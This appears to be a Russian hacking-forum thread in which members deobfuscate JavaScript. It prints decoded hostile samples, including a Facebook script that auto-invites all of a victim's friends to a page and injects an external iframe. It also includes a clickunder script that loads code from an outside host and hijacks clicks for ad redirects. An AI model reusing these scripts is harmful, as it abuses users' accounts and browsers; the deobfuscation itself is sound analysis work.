Расшифровка, JavaScript

Discussion in 'PHP' started by hNick, 25 Feb 2009.

Thread Status:
Not open for further replies.
  1. hNick

    hNick New Member

    Joined:
    28 Apr 2008
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    Добрый день, необходимо расшифровать один JavaScript , а именно

    и, опишите пожалуйста, принцип / метод расшифровки.
     
    #1 hNick, 25 Feb 2009
  2. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    function d(s){
    r=new Array();t="";
    j=0;
    for(i=s.length-1;i>0;i--){
    t+=String.fromCharCode(s.charCodeAt(i)^2);
    if(t.length>80){r[j++]=t;t=""}
    }
    document.write(r.join("")+t)
    }

    Это первая часть до ;d
     
    #2 Pashkela, 25 Feb 2009
  3. hNick

    hNick New Member

    Joined:
    28 Apr 2008
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    ну это то понятно =), я расшифровал тупым удалением части кода, из второй части, после чего он мне просто вывел ту часть которая осталась, но без закрывающего тега.
     
    #3 hNick, 25 Feb 2009
  4. AkyHa_MaTaTa

    AkyHa_MaTaTa Elder - Старейшина

    Joined:
    19 Mar 2007
    Messages:
    557
    Likes Received:
    306
    Reputations:
    27
    Конечный результат
    HTML:
    <DIV align="center">
<EMBED src="http://filmxa.net/server/video/mediaplayerser.swf" width="480" height="480" 
type="application/x-shockwave-flash" 
flashvars="&displayheight=380&file=http://filmxa.net/server/serial/ger" oi.xml
&amp;height="480&width=480&" overstretch="true&autostart=false&shuffle=false\"allowscriptaccess=\"always\"allowfullscreen=\"true\"">
</DIV>
     
    #4 AkyHa_MaTaTa, 25 Feb 2009
    Last edited: 25 Feb 2009
  5. hNick

    hNick New Member

    Joined:
    28 Apr 2008
    Messages:
    8
    Likes Received:
    2
    Reputations:
    0
    угук, он самый, мне скорее не только результат интересен, а хотелось бы про метод послушать :rolleyes:
     
    #5 hNick, 25 Feb 2009
  6. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Вот так это делается:

    Расшифровываем саму функцию (до d(unescape)):

    Code:
    <script>
alert(unescape("%66%75%6E%63%74%69%6F%6E%20%64%28%73%29%7B%72%3D%6E%65%77%20%41%72%72%61%79%28%29%3B%74%3D%22%22%3B%6A%3D%30%3B%66%6F%72%28%69%3D%73%2E%6C%65%6E%67%74%68%2D%31%3B%69%3E%30%3B%69%2D%2D%29%7B%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%5E%32%29%3B%69%66%28%74%2E%6C%65%6E%67%74%68%3E%38%30%29%7B%72%5B%6A%2B%2B%5D%3D%74%3B%74%3D%22%22%7D%7D%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65 %28%72%2E%6A%6F%69%6E%28%22%22%29%2B%74%29%7D"));
</script>
    Далее уже немного изменяем алгоритм функции, чтобы была возможность посмотреть, чего она там нашифровала:

    Code:
    <script>
function d(s){
r=new Array();t="";
j=0;
for(i=s.length-1;i>0;i--){
t+=String.fromCharCode(s.charCodeAt(i)^2);
if(t.length>80){r[j++]=t;t="";}
}
//document.write(r.join("")+t);
var code=r.join("")+t;
return code;
}

alert(d(unescape("%08<tkf-><gwpv?lggpaqnnwdumnncq{cunc?qqgaacvrkpaqumnncgqncd?923!$913!$gnddwjq9roc$gqncd?vpcvqmvwc9roc$gwpv?javgpvqpgtm\"9roc$2:6?jvfku9roc$2:6?vjekgj9roc$923!$913!$noz,kmpge-nckpgq-pgtpgq-vgl,czonkd--8rvvj?gnkd9roc$2:1?vjekgj{cnrqkf9roc$?qpctjqcnd\"jqcnd/gtcuiamjq/z-lmkvcaknrrc?gr{v\"2:6?vjekgj\"2:6?jvfku\"duq,pgqpg{cnrckfgo-mgfkt-pgtpgq-vgl,czonkd--8rvvj?apq\"FG@OG><pgvlga?leknc\"tkf>"))); 

</script>
     
    #6 Pashkela, 25 Feb 2009
    Last edited: 25 Feb 2009
  7. s-k-y

    s-k-y Banned

    Joined:
    25 Feb 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    а вот с этим не поможете?

    javascript: var _89f8x0 = ["\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C", "\x61\x70\x70\x31\x31\x30\x30\x37\x30\x36\x33\x30\x35\x32\x5f\x6d\x61\x69\x6e\x62\x69\x74
    ", "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64", "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x32\x34\x38\x33\x37\x30\x36\x34\x31\x39\x33\x30\x34\x30\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e", "\x73\x75\x67\x67\x65\x73\x74", "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73", "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74", "\x63\x6C\x69\x63\x6B", "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74", "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74", "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C", "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D", "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70", "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
    void(document[_89f8x0[2]](_89f8x0[1])[_89f8x0[0]] = _89f8x0[3]);
    var ss = document[_89f8x0[2]](_89f8x0[4]);
    var c = document[_89f8x0[6]](_89f8x0[5]);
    c[_89f8x0[8]](_89f8x0[7], true, true);
    void(ss[_89f8x0[9]](c));
    void(setTimeout(function () {
    fs[_89f8x0[10]]();
    }, 4000));
    void(setTimeout(function () {
    SocialGraphManager[_89f8x0[13]](_89f8x0[11], _89f8x0[12]);
    }, 5000));
    void(document[_89f8x0[2]](_89f8x0[1])[_89f8x0[0]] = '
    \x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6e\x6f\x74\x68\x65\x72\x31\x32\x66\x61\x63\x65\x62\x6f\x6f\x6b\x66\x61\x69\x6c\x73\x2e\x62\x6c\x69\x6e\x6b\x77\x65\x62\x2e\x63\x6f\x6d\x2f\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x20\x37\x30\x30\x70\x78\x3b\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x34\x35\x30\x70\x78\x3b\x22\x20\x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x30\x20\x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x22\x6e\x6f\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e ');;;;
     
    #7 s-k-y, 8 May 2010
  8. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    s-k-y:

    PHP:
    <script>
    var     _89f8x0 = [
            "\x69\x6E\x6E\x65\x72\x48\x54\x4D\x4C",
            "\x61\x70\x70\x31\x31\x30\x30\x37\x30\x36\x33\x30\x35\x32\x5f\x6d\x61\x69\x6e\x62\x69\x74",
            "\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64",
            "\x3c\x61\x20\x69\x64\x3d\x22\x73\x75\x67\x67\x65\x73\x74\x22\x20\x68\x72\x65\x66\x3d\x22\x23\x22\x20\x61\x6a\x61\x78\x69\x66\x79\x3d\x22\x2f\x61\x6a\x61\x78\x2f\x73\x6f\x63\x69\x61\x6c\x5f\x67\x72\x61\x70\x68\x2f\x69\x6e\x76\x69\x74\x65\x5f\x64\x69\x61\x6c\x6f\x67\x2e\x70\x68\x70\x3f\x63\x6c\x61\x73\x73\x3d\x46\x61\x6e\x4d\x61\x6e\x61\x67\x65\x72\x26\x61\x6d\x70\x3b\x6e\x6f\x64\x65\x5f\x69\x64\x3d\x31\x32\x34\x38\x33\x37\x30\x36\x34\x31\x39\x33\x30\x34\x30\x22\x20\x63\x6c\x61\x73\x73\x3d\x22\x20\x70\x72\x6f\x66\x69\x6c\x65\x5f\x61\x63\x74\x69\x6f\x6e\x20\x61\x63\x74\x69\x6f\x6e\x73\x70\x72\x6f\x5f\x61\x22\x20\x72\x65\x6c\x3d\x22\x64\x69\x61\x6c\x6f\x67\x2d\x70\x6f\x73\x74\x22\x3e\x53\x75\x67\x67\x65\x73\x74\x20\x74\x6f\x20\x46\x72\x69\x65\x6e\x64\x73\x3c\x2f\x61\x3e",
            "\x73\x75\x67\x67\x65\x73\x74",
            "\x4D\x6F\x75\x73\x65\x45\x76\x65\x6E\x74\x73",
            "\x63\x72\x65\x61\x74\x65\x45\x76\x65\x6E\x74",
            "\x63\x6C\x69\x63\x6B",
            "\x69\x6E\x69\x74\x45\x76\x65\x6E\x74",
            "\x64\x69\x73\x70\x61\x74\x63\x68\x45\x76\x65\x6E\x74",
            "\x73\x65\x6C\x65\x63\x74\x5F\x61\x6C\x6C",
            "\x73\x67\x6D\x5F\x69\x6E\x76\x69\x74\x65\x5F\x66\x6F\x72\x6D",
            "\x2F\x61\x6A\x61\x78\x2F\x73\x6F\x63\x69\x61\x6C\x5F\x67\x72\x61\x70\x68\x2F\x69\x6E\x76\x69\x74\x65\x5F\x64\x69\x61\x6C\x6F\x67\x2E\x70\x68\x70",
            "\x73\x75\x62\x6D\x69\x74\x44\x69\x61\x6C\x6F\x67"];
        
    // _89f8x0[2] = getElementById
    // _89f8x0[1] = app11007063052_mainbit
    // _89f8x0[0] = innerHTML
    // _89f8x0[3] = <a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=124837064193040" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>
    void( document[_89f8x0[2]](_89f8x0[1])[_89f8x0[0] ] = _89f8x0[3] );
    // document[ getElementById ](app11007063052_mainbit)[innerHTML] =
    // <a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=124837064193040" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>
         
    var ss = document[_89f8x0[2]](_89f8x0[4]);
    // var ss = document[ getElementById ]( suggest );
    var c = document[_89f8x0[6]](_89f8x0[5]);
    // var c = document[createEvent](MouseEvents);
         
    c[_89f8x0[8]](_89f8x0[7], true, true);
    // c[initEvent](click, true, true);
         
    void(ss[_89f8x0[9]](c));
    // ss[dispatchEvent](c);
         
    void(setTimeout(function () {
            fs[_89f8x0[10]]();
            // fs[select_all]();
    }, 4000));
         
    void(setTimeout(function () {
            SocialGraphManager[_89f8x0[13]](_89f8x0[11], _89f8x0[12]);
            // SocialGraphManager[submitDialog](sgm_invite_form, '/ajax/social_graph/invite_dialog.php');
    }, 5000));

    void(document[_89f8x0[2]](_89f8x0[1])[_89f8x0[0]] = '\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x22\x68\x74\x74\x70\x3a\x2f\x2f\x61\x6e\x6f\x74\x68\x65\x72\x31\x32\x66\x61\x63\x65\x62\x6f\x6f\x6b\x66\x61\x69\x6c\x73\x2e\x62\x6c\x69\x6e\x6b\x77\x65\x62\x2e\x63\x6f\x6d\x2f\x22\x20\x73\x74\x79\x6c\x65\x3d\x22\x77\x69\x64\x74\x68\x3a\x20\x37\x30\x30\x70\x78\x3b\x20\x68\x65\x69\x67\x68\x74\x3a\x20\x34\x35\x30\x70\x78\x3b\x22\x20\x66\x72\x61\x6d\x65\x62\x6f\x72\x64\x65\x72\x3d\x30\x20\x73\x63\x72\x6f\x6c\x6c\x69\x6e\x67\x3d\x22\x6e\x6f\x22\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e');
    /*
    document[ getElementById ](app11007063052_mainbit)[innerHTML] =
    <iframe src="http://another12facebookfails.blinkweb.com/" style="width: 700px; height: 450px;" frameborder=0 scrolling="no"></iframe>
    */
    </script>
    js-script:
    PHP:
    <script>
    document[ getElementById ](app11007063052_mainbit)[innerHTML] = '<a id="suggest" href="#" ajaxify="/ajax/social_graph/invite_dialog.php?class=FanManager&amp;node_id=124837064193040" class=" profile_action actionspro_a" rel="dialog-post">Suggest to Friends</a>';
         
    var     ss = document[ getElementById ]( suggest );
    var     c = document[createEvent](MouseEvents);
            c[initEvent](click, true, true);
            ss[dispatchEvent](c);
         
    void(setTimeout(function () {
            fs[select_all]();
    },     4000));
         
    void(setTimeout(function () {
            SocialGraphManager[submitDialog](sgm_invite_form, '/ajax/social_graph/invite_dialog.php');
    },     5000));

    document[ getElementById ](app11007063052_mainbit)[innerHTML] = '<iframe src="http://another12facebookfails.blinkweb.com/" style="width: 700px; height: 450px;" frameborder=0 scrolling="no"></iframe>';
    </script>
     
    #8 eLWAux, 8 May 2010
  9. Fi$her

    Fi$her Member

    Joined:
    27 Jan 2007
    Messages:
    15
    Likes Received:
    5
    Reputations:
    0
    здравствуйте, помогите плиз расшифровать код:

     
    #9 Fi$her, 1 Jun 2011
  10. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    Code:
    <script>var ajx1=19084;var ajx2='no';function _c(_i){var t=_i.replace(/(\S{2})/gi,'$1%');t='%'+t;t=t.substr(0,t.length-1);document.write(escape('<sc'+'ript>'+t+'</sc'+'ript>'))};_c(oOOO0);O544A5148='4B5458534947474749425742504556454748445045544C4A454E4A464C514949435549535948574759434F4948454E4C574954575543444B5555424644515949534459544B4F4F4E514A464A5846454D4F504C584743544B4D564B4D54584A504A445143424F474F484A564A504D55544650445856444C524457434E4B5942514245494452565756584B4E51474D4D54565754474E4B435354465355434252584C4C58444A5748574A5246525754455548584548464B534246464B5553494A59434C504B42585857595256594955554457595548564C4B43554742564449595953';</script>
<script>
nsp='Old browser!';dl=document.layers;oe=window.opera?1:0;da=document.all&&!oe;ge=document.getElementById;ws=window.sidebar?true:false;tN=navigator.userAgent.toLowerCase();izN=tN.indexOf('netscape')>=0?true:false;zis=tN.indexOf('msie 7')>=0?true:false;zis8=tN.indexOf('msie 8')>=0?true:false;zis|=zis8;if(ws&&!izN){quogl='iuy'};var msg='';function nem(){return true};window.onerror = nem;zOF=window.location.protocol.indexOf("file")!=-1?true:false;i7f=zis&&!zOF?true:false;		var partner_id = ajx1;
		var jsadult = ajx2;
		var tdsurl='';
		document.write('<scr'+'ipt'+' LANG'+'UAGE="jav'+'ascr'+'ipt" sr'+'c="http://hi'+'dd'+'en'+'j'+'s.r'+'u/?ge'+'tur'+'l=ok"></sc'+'ri'+'pt>');
		js384831GlobalClick=0;
		function event7221under()
		{	
			document.onmouseup=click384831under;
			document.onclick=click384831under;
			document.onmouseover=event92443under;
			document.onmousedown=event7221under;
		}
		gclick=2;
		
		function event92443under()
		{	
			gclick=1;
			document.onmouseup=click384831under;
			document.onclick=click384831under;
		}
		var fu9019=setTimeout("event7221under()",50);
		var fu9018=setTimeout("event7221under()",950);
		var fu9017=setTimeout("event7221under()",2000);
		
		document.onmouseover=event92443under;
		document.onmousedown=event7221under;
		rref384831=document.referrer;
		
		event7221under();
		window.onload=event7221under();
		function click384831under()
		{	
			js384831GlobalClick=js384831GlobalClick+1;	
			if(js384831GlobalClick<2)	
			{ 			
				Traf384831Ru = GetCookie384831(partner_id + 'clickunder384831');
				if (Traf384831Ru == null)
				{
					popup384831ClUpTrafRu('1000000');
				}
			}
		}
		
		function popup384831ClUpTrafRu(gocode)
		{
			day = new Date();
		
			var sdomain = location.hostname;
			
			if (tdsurl == '') tdsurl = "redirecturl.ru";
			URL910 = "http://" + tdsurl + "/?id=" + partner_id + "&go=1000000&close=1000000&domain=" + sdomain + "&gclick=" + gclick + "&rref=" + rref384831 + "&adult=" + jsadult;			
			id = day.getTime();
			eval("page" + id + " = window.open(URL910, '" + id + "', 'toolbar=1,scrollbars=1,statusbar=1,menubar=1,resizable=1,,,,');");
		
			window.focus();
			pathname = "/";
			myDomain = "/";
			var largeExpDate = new Date ();
			largeExpDate.setTime(largeExpDate.getTime() + (8 * 60 * 60 * 1000));
			var largeExpDate2 = new Date ();
			largeExpDate2.setTime(largeExpDate2.getTime() + (24 * 60 * 60 * 1000));
			SetCookie384831(partner_id + 'clickunder384831','1',largeExpDate, "/");
			SetCookie384831('FirstUrlcu','1',largeExpDate2, "/");
		}
		
		function GetCookie384831Val (offset) {
		
		var endstr = document.cookie.indexOf (";", offset);
		
		if (endstr == -1)
		endstr = document.cookie.length;
		return unescape(document.cookie.substring(offset, endstr));
		}
		function GetCookie384831 (name) {
		var arg = name + "=";
		var alen = arg.length;
		var clen = document.cookie.length;
		var i = 0;
		while (i < clen) {
		var j = i + alen;
		if (document.cookie.substring(i, j) == arg)
		return GetCookie384831Val (j);
		i = document.cookie.indexOf(" ", i) + 1;
		if (i == 0)
		break;
		}
		return null;
		}
		
		function SetCookie384831 (name, value) {
		var argv = SetCookie384831.arguments;
		var argc = SetCookie384831.arguments.length;
		var expires = (argc > 2) ? argv[2] : null;
		var path = (argc > 3) ? argv[3] : null;
		var domain = (argc > 4) ? argv[4] : null;
		var secure = (argc > 5) ? argv[5] : false;
		document.cookie = name + "=" + escape (value) +
		((expires == null) ? "" : ("; expires=" +
		expires.toGMTString())) +
		((path == null) ? "" : ("; path=" + path)) +
		((domain == null) ? "" : ("; domain=" + domain)) +
		((secure == true) ? "; secure" : "");
		}
</script>
     
    #10 |qbz|, 1 Jun 2011
    1 person likes this.
  11. Lenus

    Lenus New Member

    Joined:
    1 Sep 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    всем привет! ребята, помогите пожалуйста расшифровать скрипт (вставляю ссылку, т.к. скрипт не влезает в сообщение)
    Code:
    adrenaline.my1.ru/js/a.js
     
    #11 Lenus, 2 Sep 2011
  12. Curt

    Curt New Member

    Joined:
    31 Aug 2011
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    помогите пожалуста расшифровать

    помогите пожалуста расшифровать

    Code:
    http://chatnsk.ru/2encode/1.js
    тоже не вошло все! спасибо большое!
     
    #12 Curt, 4 Sep 2011
  13. |qbz|

    |qbz| Banned

    Joined:
    25 Dec 2009
    Messages:
    385
    Likes Received:
    169
    Reputations:
    65
    #13 |qbz|, 4 Sep 2011
  14. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Просьбы расшифровать/деобфусцировать скрипты сюда:

    https://forum.antichat.ru/thread144505.html

    // Закрыто
     
    _________________________
    #14 Gifts, 4 Sep 2011
(You must log in or sign up to post here.)
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.